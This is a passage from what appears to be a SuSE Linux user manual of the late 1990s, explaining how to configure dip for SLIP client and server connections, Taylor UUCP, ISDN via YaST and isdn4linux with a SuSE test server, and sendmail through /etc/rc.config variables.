     dip supports this by providing **`get $locip remote 30`** which reads the local IP address and sets the variable **`local`** accordingly.

   MTU is set via **`get $mtu`** <**`SIZE`** >. It is important that both sides use the same MTU. You should agree on a certain MTU with your SLIP provider!

   If the local machine is not connected to a LAN and you can be sure that all network traffic is being done via SLIP, you should now put your dynamic IP into the kernel's routing table as *default route*. This is done using **`default`**.[4]

6. Switching to SLIP/CSLIP mode.

   The last command executed by **dip** is switching the interface to SLIP mode. This happens via **`mode SLIP`**. If the server offers CSLIP instead, you have to invoke it as **`mode CSLIP`**.

After running this script, your TCP/IP connection will be established. Now you can perform the same tasks within this net as on a LAN, such as TCP/IP services, **telnet**, **ftp**, and **WWW**.

Our script can be used as a template for your scripts. Of course, you have to adapt your server address, interface, modem initialization string, telephone number, login name, password and MTU, as well as your IP address, unless you have a dynamic IP.

[3] It awaits `"ogin"` so that it can accept either "Login" or "login".

[4] `default` does exactly the same that `route add -net default` <SLIP-Server> does on the command line.

```
# sample.dip
#         This script should be an example of how to establish
#         a connection with DIP.

main:

  # Announcing IP-address of the server (Galois.suse.de)
  get $remote galois.suse.de

  # Initializing serial line.
  port ttyS1
  speed 38400
  reset

  # Initialising modem and calling the server.
  send ATQ0V1E1X1\r
  wait OK 2
  if $errlvl != 0 goto error

  dial 49911-3247122
  if $errlvl != 1 goto error

login:

  # Login in SLIP-server.
  sleep 3
  send \r\n\r\n
  wait ogin: 10
  if $errlvl != 0 goto error

  # Send login
  send LOGINNAME\n
  wait ord: 5
  if $errlvl != 0 goto error

  # Send password
  send PASSWORT\n

loggedin:

  # Setting of SLIP-parameters
  get $mtu 296

  # Local machine is hal.suse.de
  # (static allocation)
  get $local hal.suse.de

  # (dynamic allocation)
  # get $locip remote 30

  # Setting SLIP connection as default-route
  default

done:

  # Well, now we can start...
  print CONNECTED to $remote with address $rmtip
  mode CSLIP
  goto exit

error:
  print SLIP to $remote failed.

exit:
```

File contents 7.3.1: Example dip script

> As this file contains unprotected passwords, it should not be readable for anyone except 'root'!

The script is invoked by **dip** <scriptname>. If you supply it with the parameter **-v**, say **dip** -v <scriptname>, **dip** verbosely tells you what it is doing. This can be helpful for debugging.

Shutting down a SLIP connection

A connection established with **dip** can be shut down with **dip -k**. The alternative is to send a *SIGINT* to the dip process.

7.3.2 Configuring a SLIP server

A SLIP connection is always established between two machines. Using **dip**, one of the two is always the server, whereas the other is the client. How to configure the client side has been explained in the previous section. But how do you configure a SLIP server?

Building a SLIP server can be done in multiple ways. Our mentioned method is rather simplistic and, therefore, certainly only useful for small servers. Only the base configuration is described, provided that everything else, including the network (as far as there is one), is set up correctly. Aspects of network configuration are viewed in brief in chapter section 6, page 113 and more thoroughly in [Kirch, 1995].

Dip as SLIP server

Our well-known program **dip** can easily be used to configure a SLIP server as well. We use the *dialin* mode of **dip**. Assigning and adapting clients is done via `/etc/diphosts`. There are two principal steps:

- Creating the SLIP user. For each client, a pseudo-user has to be created to login at the server. The only thing special about this user is that the typical interactive *login shell*, e. g., `/bin/bash` or `/bin/tcsh`, is replaced by the program `/usr/sbin/diplogin`.[5] It is important that the appropriate user be allowed to execute `/usr/sbin/diplogin` and he has to be in the appropriate group (e. g., 'dialout').

> For serving as a SLIP server, **diplogin** needs root permission. For security reasons, **diplogin** of SuSE Linux *doesn't* have this permission! If you want to design a SLIP server, you have to assign the necessary permissions yourself using the following command:
>
> ```
> earth:/root # chmod 4710 /usr/sbin/dip
> ```

A new user (here it is `earth`) can be added with **useradd**:

```
earth:/ # useradd -u 6000 -g 300 -c "SLIP by
         earth"
         -d /tmp -s /sbin/diplogin slearth
```

5 **diplogin** is just a symbolic link to **dip**.

Now your /etc/passwd should contain this entry:

`slearth::6000:300:SLIP by hal:/tmp:/sbin/diplogin`

When a password is given to the user (using **passwd**, <username>), the first step is complete.

- Entering clients into /etc/diphosts.

  After assigning a login for each client, a relation between the login name and the server name has to be set. This is done using /etc/diphosts.

  One entry in /etc/diphosts consists of one line containing seven fields separated by colons (see table 7.2):

  `user:password:remote:local:netmask:comments:prot,MTU`

user	Login name for the client.
password	For assigning a second password (generally, kept empty).
remote host	Name or IP of the client.
local host	Name or IP of the server (could be empty).
netmask	Netmask for the SLIP device (could be empty).
comments	Comment.
protocol	Assigning a protocol (possible values are SLIP or CSLIP).
MTU	Enter MTU value.

Table 7.2: Contents of /etc/diphosts

Diagram file contents 7.3.2, page 140, shows an entry for slearth. The name of the client is earth. The name of the server is earth. Netmask is set to "255.255.255.0" and SLIP is driven at MTU 296.

For both client and server, you have to specify either the name or the IP address.

```
#
# diphosts      This file assigns Login names to IP-addresses
#               for the dip program.

slerde::erde:galois:255.255.255.0:SLIP by erde:SLIP,296
```

File contents 7.3.2: /etc/diphosts

That's all that's needed to create a SLIP server. A client can now communicate with your SLIP server via TCP/IP.

7.4 UUCP

UUCP was designed in the late seventies by **Mike Lesk** at **Bell Laboratories** to implement a simple *dial-up network* via telephone lines. **UUCP** works using the *store-and-forward* principle. Messages for another host are kept until a connection is established. When there is a connection, data is transferred and its processing is launched. Data is received and processed in the same way. Processing, in this context, means that mail is delivered and news sorted, and you can copy files from one host to the other. Both hosts being directly connected is not required, but data is transported via a chain of other hosts before they reach their destination.

Configuring Taylor UUCP

The UUCP implementation of **Ian Taylor**, the so-called **Taylor UUCP**, comes with SuSE Linux. The corresponding configuration files are located in `/var/lib/uucp/taylor_config`. Configuration of the UUCP systems is achieved via the following files:

`config`:	Central configuration file
`sys`:	Information on systems for communicating
`port`:	Description of available interfaces
`dial`:	Description of available modems
`call`:	Logins and passwords

Table 7.3: Configuration files for Taylor UUCP

Taylor UUCP is flexible and there are a lot of keywords available. It is beyond the scope of this chapter to explain all of them. Here, we just explain the vital options that are necessary to configure a UUCP connection.

In our example, the name of the local host is `uuearth` which wants to create a UUCP connection to `helios`. `helios` is the host which delivers `news` and `mail` to `uuearth`.

`config`
: This is the central configuration file (see file contents 7.3, page 142). Editing this file can override all hardcoded settings. In general, these can be used so that you just have to enter the name of the machine. This is done via the keyword **`nodename`**.

`sys`
: File `sys` sets which remote hosts are known to the UUCP system. Each host description takes its own line which should contain the keyword **`system`** followed by the hostname. All settings until the next **`system`** line are regarded as lines for the defined system. Definitions that are made before the separate **`system`** lines are regarded as common entries which apply to all systems, as long as they are not overwritten in the corresponding system line.

```
#
# config - main UUCP configuration file
#

# UUCP name of the host
nodename          uuvenus
```

Figure 7.3: /var/lib/uucp/taylor_config/config

Meanings of the used keywords:

commands	Allowed commands.
command-path	Path where commands are searched.
call-login	Setting of the login name. Setting '*' makes UUCP look in call for the appropriate logins.
call-password	Setting of the password. Setting '*'" makes UUCP look in call for the appropriate passwords.
time	This string defines when the system (or systems, depending on where it is defined) are allowed to be called. This string is a concatenation of substrings separated by a vertical bar '|' or a comma ','. Each of these substrings has to start with either 'Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Wk' or 'Any'. The day may be followed by a period of time, given as two hourly times separated by a dash '-'. Three examples: **Wk2305-0855,Sa,Su2305-1655** ⇒ working days before 8h55 and after 23h05, Saturdays anytime, and Sundays before 16h55 and after 23h05. **Wk0955-2205,Su1705-2255** ⇒ working days between 9h55 and 22h05 and Sundays between 17h05 and 22h55. **Any** ⇒ No restrictions.
system	Name of the remote system.
phone	Telephone numbers, where the remote system is reached.
port	Port to use for the call. References to an entry in port (see below).

Table 7.4: Parameters in /var/lib/uucp/taylor_config/sys

An example for `/var/lib/uucp/taylor_config/sys` is in file contents 7.4.1, page 143.

```
#
# sys - Description of known systems
#

# Global settings for all systems
commands        rmail rnews
command-path    /usr/lib/news/bin /usr/bin

# Read login name and password from 'call'
call-login      *
call-password   *

#No time restrictions
time            any

# System specific settings

# System 'hal'
system          hal

# Telephone number
phone           0123-123456

# Port definition: which port to take
port            serial1
```

File contents 7.4.1: `/var/lib/uucp/taylor_config/sys`

port
This is where the available interfaces (ports) are defined. The structure of this file resembles `sys`. Each interface description starts with the keyword **port**. Global definitions are set before the first **port** line. Since usually, there is only one interface available for UUCP, there are only a few entries necessary in `port`. The definitions of the relevant terms are:

port	Name of the described port. Referenced in `sys`!
device	Path to special device file. If you have configured your modem with YaST, you should enter `/dev/modem`.
speed	Speed in bps (bits per second) for the interface.

Table 7.5: to be continued...

dialer	Name of modem that is connected to the interface. Referenced in `dial`.

Table 7.5: Parameters in `/var/lib/uucp/taylor_config/port`

An example for `/var/lib/uucp/taylor_config/port` is in file contents 7.4.2, page 145.

dial

In `dial`, all available modems are defined. All settings before the specific modem settings apply to all entries, which, in this case, is the line **dialer** followed by a name.

Besides the name, you have to set how your modem is to be initialized, how to call a remote system, which error codes can occur, and how it should be initialized after a shutdown (or hang-up). This is done via the following keywords:

dialer	Name of modem definition. Referenced in `port`.
chat	Commands for initializing your modem and setting a certain telephone number. Here, a couple of strings are given. The first one is sent to the modem while the second one is received by the modem. An empty line is given as "". Strings are separated by blanks. Within these strings, the following replacements occur: \T Telephone number \r Carriage return \c Suppressing carriage return \d Pausing 1 to 2 seconds \s An empty string
chat-fail	Answer from the modem in case of an error. There can be as many lines as you like.
abort	Modem initialization after connection is established (**complete**) or aborted (**abort**). The syntax of this line is identical to the **chat** line.

Table 7.6: Parameters in `/var/lib/uucp/taylor_config/dial`

An example for `/var/lib/uucp/taylor_config/dial` can be seen at file contents 7.4.3, page 145.

```
#
# port - Description of interfaces
#

# Name of the interface
port     serial1

# Device for this interface
device   /dev/modem

# Speed
speed    38400

# Name of your modem  (references to 'dial')
dialer   generic
```

File contents 7.4.2: `/var/lib/uucp/taylor_config/port`

```
#
# dial - Description of available modems
#
# Name of modem (is referenced in 'port')
dialer generic

#
# Initalization strings
#
chat "" ATZ OK ATDT\T\r\c CONNECT

# Error codes the modem can send
chat-fail       BUSY
chat-fail       NO\sDIALTONE
chat-fail       NO\sCARRIER

# Modem reset after normal shutdown
complete        \d\d+++\d\dATHOZ\r\c

# Modem reset after unexpected shutdown
abort        \d\d+++\d\dATHOZ\r\c
```

File contents 7.4.3: `/var/lib/uucp/taylor_config/dial`

call

Last needed information. The name and password for logging into the remote system is located in `call`. Each line defines a system and has the following syntax:

<**System name**> <**Login name**> <**Password**>
An example for `/var/lib/uucp/taylor_config/call` can be seen in file contents 7.4.4, page 146.

```
#
# call - Login information
#

#
# Login name and Password for the given systems
#
# <system> <login> <passwd>
   hal      uusofa  hempel
```

File contents 7.4.4: `/var/lib/uucp/taylor_config/call`

> Since there are unprotected passwords in this file, you should ensure that nobody except UUCP has read permissions to this file!

Testing the configuration

To test your configuration, just copy a file to the remote system using the command **uucp** as follows:

earth:/ # uucp <file> <system>!<file>

In **bash**, **csh** and **tcsh**, the '!' has to be 'masked' with a '\'. Here, <file> is replaced by the filename to be copied and <system> is the name of the remote system. This system has to be defined in sys. **uuname** outputs a list of all machines known to the UUCP system. **uustat** shows which processes are waiting to be executed. For example:

earth:/ # uucp testfile erde!/testfile
earth:/ # uustat -a

halN0002 hal bb 10-24 16:11 Sending /home/user/testfile (276 bytes) to ~/testfile

Establishing a connection and transferring data is done by **uucico**. The parameter **-S** <system> tells which system is to be called. **uucico** starts a new process which maintains the data transfer.

Parameters **-x** <0-9> are for different debug levels. Passing 0 means that no debug information is wanted, whereas 9 means that any package transferred is protocoled. The default is 2. Debug information is written to:

/var/spool/uucp/.Log/uux/<system>,
/var/spool/uucp/Log and
/var/spool/uucp/Stats

7.5 ISDN Configuration

At the moment, *only* Euro-ISDN is supported by **isdn4linux**. To be precise, the passive cards definitely will not work!

In addition to its "normal" network capabilities, Linux can connect to your ISP via ISDN. Most of this may be set up in YaST, making ISDN configuration with SuSE Linux straightforward and easy.

This section refers mainly to a standard connection to your ISP via ISDN. Of course, there is lots more that can be done by **isdn4linux**.

Keep in mind that some of the procedures mentioned below may be "illegal". Every active card and its firmware are certified. Passive ISDN controllers are certified if run with the software of the manufacturer. For those who need a certification, please use either an active ISDN card or connect the controller to your PBX.

ISDN has one great difference to a modem connection—once the network has been set up and configured, no additional commands are required. This is called "on demand". As soon as you launch, e. g., a telnet session, the connection will be established. This normally takes about three seconds. Thus, it is possible to let "normal" users establish a connection. You may set the idle time. This is the period of time after which the connection will be cancelled automatically if all processes that depend on the connection have remained idle.

While configuring your ISDN system, it is recommended that you carefully watch messages in `/var/log/messages`. Just start another **xterm** or login on another console and enter:

```
earth: # tail -f /var/log/messages
```

Now, you will see every line added to `/var/log/messages`.

7.5.1 Overview

SuSE Linux includes the package `isdn4linux`, which includes hardware drivers and network interfaces as well as modem emulation (digital modems only). It even includes software for an answer phone.

The ISDN hardware driver is launched by `/sbin/init.d/i4l_hardware` (see chapter 17). Configuration of the ISDN part is done via **isdnctrl** (manpage of **`isdnctrl`** (**`man isdnctrl`**)). The network interfaces are configured just like standard Ethernet interfaces by **`ifconfig`** (manpage of **`ifconfig`** (**`man ifconfig`**)) and **`route`** (manpage of **`route`** (**`man route`**)). On SuSE Linux, `/sbin/init.d/i4l` performs this task (see chapter 17).

All actions taken are based upon entries in `/etc/rc.config`. These entry names resemble, where possible, the options of **isdnctrl**.

`/sbin/init.d/route` sets up the routing of the devices given in `/etc/route.conf`.

Establishing a connection is done by **isdnctrl** followed by `/sbin/init.d/i4l`, using settings from `/etc/rc.config`. These parameters may be listed by entering:

```
earth: # isdnctrl list all
```

As soon as somebody requests an ISDN service (this may be either a user or an application), the connection is established.

7.5.2 Configuring ISDN hardware

Requirements

For successfully creating a connection on SuSE Linux, you will need:

1. an ISDN connection
2. a supported ISDN controller
3. SuSE Linux installed
4. one of the SuSE Linux standard kernels (on CD)

> You *don't* need to compile a kernel! If you want to compile a kernel anyway, make sure you use the sources from package `lx_suse`, series `d`!

5. the package `kernmod`, series `a`
6. the package `i4l`, series `n`
7. the documentation found in package `i4ldoc`, series `doc` (recommended)

What you need to know:

- the type of your ISDN controller
- the controller settings—IRQ, port address, etc. (depends on the type)
- the ISDN protocol you use:
  - **1TR6**: (old) national ISDN
  - **DSS1**: Euro-ISDN

> Some of the PBX's (contrary to the documentation) still use **1TR6** instead of **DSS1**.

What is a MSN/EAZ?

With Euro-ISDN, you get a MSN (Multiple Subscriber Number), which normally is your telephone number without the prefix. If you just subscribed for ISDN, you will receive three different numbers. Any of them may be used for your ISDN connection, even if you use the same number as telephone number, as they may be distinguished by their service indicator.

Normally, the ISDN controller is directly attached to an NTBA. You may as well connect another S0 bus to the PBX. If you use Euro-ISDN on your PBX, the MSN normally is the extension (direct call number).

For 1TR6, you have an EAZ (German: "Endgeraete Auswahl Ziffer = end user selection number"). Otherwise, they are treated the same. The EAZ is a single number. Just select one in the range of `1` to `7`. Don't forget the `0`!

Configuring ISDN hardware with YaST

The driver itself is provided by a loadable kernel module. You don't need to reboot your system. Standard ISDN controllers are supported by the **HiSax** driver.

Some controllers, e. g., **ICN** and **AVM-B1** as well as PnP cards, may not yet be configurable by YaST. They require special treatment. Please look at the settings for ISDN controllers later in this section.

Here is how to proceed step-by-step:

1. Log in as user '`root`'.
2. Launch YaST.
3. Now select '`System administration`', '`Integrate hardware into system`' and '`Configure ISDN hardware`'. The menu structure is shown in figure 7.4.

Figure 7.4: Menu structure for ISDN configuration in YaST

4. Next, enter the following parameters:
   - **`Start I4L`**
     ISDN is only launched if this is activated. Thus, you can make sure whether ISDN is started automatically at boot up.
   - **`ISDN protocol`**
     Here, you may choose either the old (national) German ISDN (1TR6) or the default Euro-ISDN (EDSS1). Keep in mind that connections via a PBX often still use 1TR6.
   - **`ISDN controller type`**
     Select the supported ISDN controller. Please look at `/usr/doc/packages/i4l/README.SuSE` concerning PnP and PCMCIA controllers.

- **`Controller ID`**
  You should leave this untouched to `Tel0`.

- **`Interrupt`**
  `Memory base address`
  `IO port`
  `ISAC`
  `HSCX`
  Dependent on the card in use, some additional settings may be required. Only the parameters available for the device are enabled. The others are disabled.
- **`ISDN options`**
  This should be empty!

Pressing F1 will give you additional help. The configuration dialog is shown in figure 7.5.

Figure 7.5: Menu for ISDN configuration with YaST

5. Now, confirm by pressing `'Start'`.
   This is a test: the module will be loaded and the messages in the window will tell you whether the card has been set up correctly.

   If OK: Confirm by pressing `'Save'`.
   Your settings will now be written to `/etc/rc.config`. They will remain current until you change them. After being tested, the driver remains loaded.

   If it fails: Check and change the parameters.
   Don't forget to look at `/var/log/messages`. (You did remember to open it, didn't you?).
   Possible problems may be:

- On some boards the IRQs 12 or 15 cannot be used.
- The given address or IRQ is already in use. Remove (just to test) all controllers that are not immediately needed for testing (e. g., sound and network cards).
- The module has already been loaded. To remove it, change to another console and enter:

  ```
  earth: # rmmod hisax
  ```

- The card you use is a PnP device. See `/usr/doc/packages/i4l/README.SuSE` for more information.
- Your card is not supported by **HiSax** (e. g., ICN, AVM-B1). See `/usr/doc/packages/i4l/README.SuSE`.

6. Exit YaST.
7. Configure **isdnlog**.

   You should configure **isdnlog** before launching the modules. Its task is to supervise every activity on the S0 bus system.

   You must now adapt the following files to your requirements:

   - `/etc/isdn/isdn.conf`:

     The first parameter is for specifying the country where you will use your `isdn4linux`. If this is Germany, you should set it as given in file contents 7.5.1.

```
# /etc/isdn/isdn.conf

[GLOBAL]
COUNTRYPREFIX = +
COUNTRYCODE = 49
AREAPREFIX = 0
```

File contents 7.5.1: `/etc/isdn/isdn.conf`

Here (in the `GLOBAL` section), you also need to enter your area code `AREACODE` (the dialing prefix) without the leading zero. So if your area code is, e. g., `0911` you will need to enter: `AREACODE = 911`.

In Germany, this is the only part that needs to be adapted. `CHARGEMAX = 20.00` lets you set the maximum amount of charges (in Deutsch Marks) that you will accept per day. Please do not rely on this feature!

- `/etc/isdn/callerid.conf`:

  Here, you may enter every known telephone number. You will see their names instead of their MSNs in `/var/log/messages` when you launch **isdnrep**.

  See our example in file contents 7.5.2, page 152. Your number is `4711`. The number of your ISP is `4712`.

- `/etc/isdn/isdnlog.isdnctrl0.options`:

  Here, you may enter options for **isdnlog**. This is normally not necessary.

```
# /etc/isdn/callerid.conf

[MSN]
NUMBER = 4711
SI = 1
ALIAS = myself
ZONE = 1

[MSN]
NUMBER = 4712
SI = 1
ALIAS = ISP
ZONE = 1
```

File contents 7.5.2: `/etc/isdn/callerid.conf`

8. Now enter the commands:

   ```
   earth: # init 1
   earth: # init 2
   ```

   thus restarting all network services. You may as well activate ISDN with YaST or reboot if you prefer.

7.5.3 Testing ISDN on our SuSE host

The SuSE ISDN server

This server has been set up for SuSE Linux users to check their ISDN configuration with test logins. In the near future, we also plan to offer the capabilities to access our Support DataBase and update packages. Please look at `/home/suse/README` on the SuSE test server for information on current services.

> You will not be able to access the Internet via this server!

Selection of a protocol

This ISDN host offers three different modes:

- terminal login using **X.75**
- **rawip-HDLC**
- **syncPPP**

Of course, you may test any of these protocols, but it is recommended that you test the protocol offered by your ISP.

Requirements

Your ISDN hardware configuration went successfully and the ISDN driver has been loaded. Also, you have your MSN/EAZ at hand.

Select a protocol (**rawip** or **syncPPP**). Of course, you may set up different connections, but our example refers to a **syncPPP** connection. **rawip** is almost the same but much easier.

Here are the steps:

1. Start YaST and change to `‘System administration’`, `‘Network configuration’`, `‘Network base configuration’`. See figure 7.6 for a screen shot.

Figure 7.6: Network configuration with YaST

2. Choose a number not already in use, e. g., `4`.
3. Now select the device `‘ISDN SyncPPP’` by pressing F5 .
4. Press F6 (`‘IP address’`) and enter:
   - IP address of your host: `192.168.0.99`
   - IP address of the Point-to-Point partner: `192.168.0.1`
5. Leave this window by pressing `‘Continue’`.
6. Pressing F4 activates the network device if you haven’t done so already.
7. F8 (`‘ISDN’`) lets you enter some ISDN-specific options. This is shown in figure 7.7.

   Now enter the following:
   - **`Your telephone number (MSN):`**
   - **`Number to be called:`** `09113206726`

     `09113206726` is the number of the SuSE test host for **syncPPP**.

> You may need to dial a leading “0” for some PBXs.

   - **`Numbers that are allowed to call:`**

     Only needed for dial-in servers (and we are currently dialing out).

Figure 7.7: Setting ISDN network parameters with YaST

- **`Only given numbers are allowed:`**
  Set this to make sure nobody starts an unwanted connection to your machine!
- **`Idle time:`**
  After a period of no use (the idle time), the connection will be closed.
- **`Name of PPP login:`**
  For our SuSE syncPPP test, the login name is `'suse'`.
- **`Password of PPP login:`**
  For our SuSE syncPPP test server, the password is `'linux'`. You will not see the actual password while entering it (but asterisks instead). It is written to `/etc/ppp/pap-secrets`.

Press F1 to get additional help.

8. Confirm `'Start'`.

   Now a network test is launched. You will get an error message if anything goes wrong. There should not be any problems so far.

   If OK: Please confirm with `'Save'`.
   Now, your settings will be written to `/etc/rc.config`, and they will remain active until you change them. The settings remain active during and after the test.

   If it fails: For some reason, the ISDN modules were not loaded. Look for the answers in `/var/log/messages`.

9. Now switch to another **xterm** or console. You don't need to be user `'root'` to enter the following:
10. Open a **syncPPP** telnet session:

```
earth: # telnet 192.168.0.1
```

or if you are using **rawip**:

```
earth: # telnet 192.168.0.2
```

After approximately 2–3 seconds, you should see the SuSE server login prompt. Now, you may enter your account (`suse` and password `linux`). Once logged in, look at README, e. g., by entering:

```
less README
```

Entering **logout** lets you close the connection. After the idle time that was previously set up the connection will be dropped anyway. Every activity may be watched in /var/log/messages.

If anything fails:

- Check /var/log/messages for "suspicious" messages.
- Try the **rawip** connection.
- Is the MSN/EAZ setup correctly?
- Perhaps you need a leading 0?

There are further hints in our Support DataBase, which may be found on our WWW site at http://www.suse.de/Support/sdb. You can also access it by launching the SuSE help system (enter: **hilfe** or select it from the menu (package susehilf, series doc and package sdb, series doc need to be installed first).

11. Assuming the connection was established, switch to YaST, select `Save` and exit YaST.
12. Now please modify /etc/hosts accordingly. All IP addresses used should be listed here (see file contents 7.5.3, page 155).

```
192.168.0.1   pppserver.suse.de   pppserver
192.168.0.99  pppclient.suse.de   pppclient
192.168.0.2   rawipserver.suse.de rawipserver
192.168.0.98  rawipclient.suse.de rawipclient
```

File contents 7.5.3: Entries in /etc/hosts for connecting to the SuSE ISDN test server

7.5.4 Configuring ISDN for your ISP

If you have successfully managed the test connection, you may connect to your ISP in exactly the same manner. This might be tricky, but only if the ISP uses protocols and switches that are not usual. Some instructions and vital hints may be found along with some sample scripts on our SDB (Support DataBase) (see section I.1.3, page 428).

The method mentioned above connects using either **rawip** or synchronous PPP and using PAP as the authentication method. This normally is standard.

Use the settings for the test server to start with and change the parameters listed below:

- ISP telephone number
- user name and password (for syncPPP)
- IP numbers (if known, please see below)
- nameserver
  This can be done interactively from YaST in `'System administration'`, `'Network configuration'`, `'Configuration nameserver'`.
- set up your routing (see section 6.3)

How to use dynamic IP numbers with syncPPP

If your ISP provides only dynamic IP addresses, what do you need to set up?

You should add a private address for yourself and your ISP (`192.168.*.*`). Thus, you may just leave the entries as given in our example. After the connection has been established, invoking **`ifconfig`** or looking at `/var/log/messages` will give you the IP addresses in use.

Your own IP address is not important. The IP address of your Point-to-Point partner should be a fixed one. Now, you may enter this address and thus adjust your gateway.

Each time a connection is established, the **ipppd** launches an **`ifconfig`** (manpage of **`ifconfig`** (**`man ifconfig`**)). All routing information goes into the bin as soon as you restart **`ifconfig`** for this device. So if you want to have a *default route* after the connection is down, you need to set it in `/etc/ppp/ip-down`.

There is an example of this file in `/usr/doc/packages/i4l/pppsample`.

7.5.5 Reference of the SuSE ISDN account

`telnet` Login	
User name	`'suse'`
Password	`'linux'`

rawip	
Telephone number	`09113206728`
Client IP address	`192.168.0.98`
Server IP address	`192.168.0.2`
Network device	`isdn0`

syncPPP	
Telephone number	`09113206726`
Client IP address	`192.168.0.99`
Server IP address	`192.168.0.1`
Network device	`ippp0`
User name	`'suse'`
Password	`'linux'`
Authentication	PAP

Modem	
Telephone number	`09113247114`

Initializing the modem:

```
ATZ
ATS14=0&E123
ATD09113247114
```

In our example, 123 is your MSN.

Additional information

Further information on how to establish a connection to the SuSE ISDN server may be found in:

- file /usr/doc/packages/i4l/README.SuSE
- SuSE Support DataBase: http://www.suse.de/Support/sdb
- in package i4ldoc (e. g., the ISDN FAQ in /usr/doc/packages/i4ldoc/i4l-faq)
- /usr/doc/inetcfg (package inetcfg): e. g., T-Online via ISDN

7.6 Let's write—configuration of email

If a connection to the outer world has been established, be it via PPP, UUCP, SLIP, or ISDN, it should be used to do something. A rather typical application is ☞*electronic mail*, or email. This section describes configuration of **sendmail**.[6]

sendmail has to decide how to deliver incoming and outgoing electronic mail. This might be either via a TCP/IP network using the SMTP protocol or to use another transport agent such as UUCP.

sendmail's main configuration file is called /etc/sendmail.cf. If you have a normal and simple configuration, you may set up the necessary parameters using YaST. YaST then creates a valid /etc/sendmail.cf for you. All settings are written to /etc/rc.config and YaST will create the file /etc/sendmail.cf for you using the parameters given there.

As **sendmail** configuration is rather complex, SuSE provides two preconfigured settings that should be sufficient in most cases.

If you plan to use **sendmail** within a TCP/IP network, make sure to have a valid DNS server. Here, you need to set up one ("MX record" mail exchange record) entry per name. The current settings may be checked with the **host** command (in package bind):

```
earth: # host helios.cosmos.com
helios.cosmos.com address 192.168.0.1
helios.cosmos.com mail is handled (pri=10)
                  by helios.cosmos.com
helios.cosmos.com mail is handled (pri=100)
                  by mail-relay.cosmos.com
```

If there is no entry for mail, you should ask your system administrator for help.

The following electronic mail variables may be set by YaST in /etc/rc.config (see section 17.6, page 338):

[6] There are alternatives to **sendmail**, two being **smail** and **qmail**. These are not covered in this book.

- **SENDMAIL_TYPE="yes"**
  This variable has to be set to yes if the **sendmail** configuration file should be created using the values in /etc/rc.config. If you want to create a /etc/sendmail.cf yourself, no is the answer.
- **SENDMAIL_LOCALHOST="localhost www.cosmos.com"**
  sendmail needs to know which electronic mail should be stored locally and which needs to be delivered to another host. Only electronic mail to the local host itself is saved locally by default. By entering a list in **SENDMAIL_LOCALHOST**, you can configure other names that should be considered a local host.

  Example: the name of the machine is helios.cosmos.com. It serves as a WWW site for www.cosmos.com. For accepting electronic mail that goes to www.cosmos.com, you need to enter the following line:
  SENDMAIL_LOCALHOST="localhost www.cosmos.com".
- **FROM_HEADER=cosmos.com**
  Normally, the local machine's name is used as the from header. This may be set to an indifferent name:
  Example: The machine's name is earth.cosmos.com. You want to send electronic mail as newbie@cosmos.com. This may be achieved with the parameter:
  FROM_HEADER=cosmos.com
- **SENDMAIL_SMARTHOST=mail-server.provider.de**

  sendmail asks for the DNS names of every mail that is not delivered locally and tries to send the electronic mail via the SMTP protocol. This host might be anywhere on the Internet and eventually has a rather slow connection to the local host. Setting this parameter lets you set up an intermediate host that gets all your outgoing mail. Then this host becomes responsible for delivering your electronic mail.

  First example: This is for a dialup connection. Thus, you deliver all of your electronic mail directly to your ISP:
  SENDMAIL_SMARTHOST=smtp:mail-server.provider.de.
  Second example:
  If you are connected via UUCP, you may send all electronic mail that is not local to your UUCP server:
  SENDMAIL_SMARTHOST=uucp-dom:uucp.cosmos.com
- **SENDMAIL_NOCANONIFY=no**

  sendmail tries to resolve each and every email address from the mail header and replaces each name with its "Fully Qualified Domain Name" (FQDN). If there is no DNS server available (due to a dialup connection perhaps) and you enter the name correctly, you may switch this off by setting it to yes.
- **SENDMAIL_ARGS="-bd -q30m -om"**

This is how **sendmail** will be invoked at bootup. `-q30m` tells **sendmail** to check `/var/mqueue` every 30 minutes if there is electronic mail waiting. `-bd` starts **sendmail** in "daemon mode" this enables you to accept electronic mail via the TCP/IP network. If you only have a dialup connection, you may omit the `-q30m` and invoke **sendmail** directly with **`sendmail -q`**. This might be done via a **crontab** entry once or twice a day. In addition, you may enter **sendmail -q** into your scripts that establish the connection to your ISP. This lets you exchange electronic mail every time you connect to the net.

- **`SENDMAIL_EXPENSIVE=no`**

  Normally, **sendmail** tries to deliver the electronic mail immediately via SMTP. If you are only temporarily connected, this might not be what you need, as a connection will be established each time you write an electronic mail. Setting this to `yes`, the mail will be queued in `/var/mqueue` and delivered as soon as you launch **sendmail -q**.

All locally delivered electronic mail is handled and saved to the local electronic mail folder `/var/spool/mail/<name>` by **procmail**. Please have a look at manpage of **`procmailrc`** (**`man procmailrc`**), manpage of **`procmail`** (**`man procmail`**) as well as manpage of **`procmailex`** (**`man procmailex`**) for a description of this extremely versatile tool.

If you do not deliver remote electronic mail immediately, it is saved to the queue directory `/var/mqueue` and delivered at the next run of **sendmail**. You may as well launch **sendmail** directly by entering **`sendmail -q`**.

There are further settings that can be made, e. g., in `/etc/aliases` and some other files in `/etc/mail/`. There are commented examples included in these files. Some files need to be translated to databases using the **makemap** tool. This is invoked automatically if you start **SuSEconfig** or when you leave YaST.

If you need a more complex configuration of **sendmail**, you should disable the automatic setup of `/etc/sendmail.cf` by setting **`SENDMAIL_TYPE=no`**. Then you may use `/etc/mail/linux.mc` as a template for your configuration. `linux.mc` is written using **m4** commands.

```
earth: # m4 /etc/mail/linux.mc > /etc/sendmail.cf
```

creates a valid **sendmail** configuration by using the macros in `/usr/share/sendmail`.

Further documentation my be found in `/etc/mail`, `/usr/share/sendmail` as well as `/usr/doc/packages/sendmail`. There is a web site at `http://www.sendmail.org/`. If you need to set up even more complex configurations, you will also need the **sendmail** book from O'Reilly.[7] This describes **sendmail** in all its gory detail.

7.7 Hot new messages—C News

One of the most important services provided by the Internet is the transport and delivery of news sorted into different groups. This part of the Internet

[7] See [Costales et al., 1993].

is often referred to as the Usenet. Only through this media was it possible to develop Linux at all. And only by means of this highly efficient form of communication, was and is it possible to rapidly develop and remove program bugs.

A complete description of the news system with all its thousands of possibilities (e. g., passing news to other machines) is far beyond the scope of this book. Only a basic local system based on the widely distributed **C News** package is described here.

Broadcasting the news

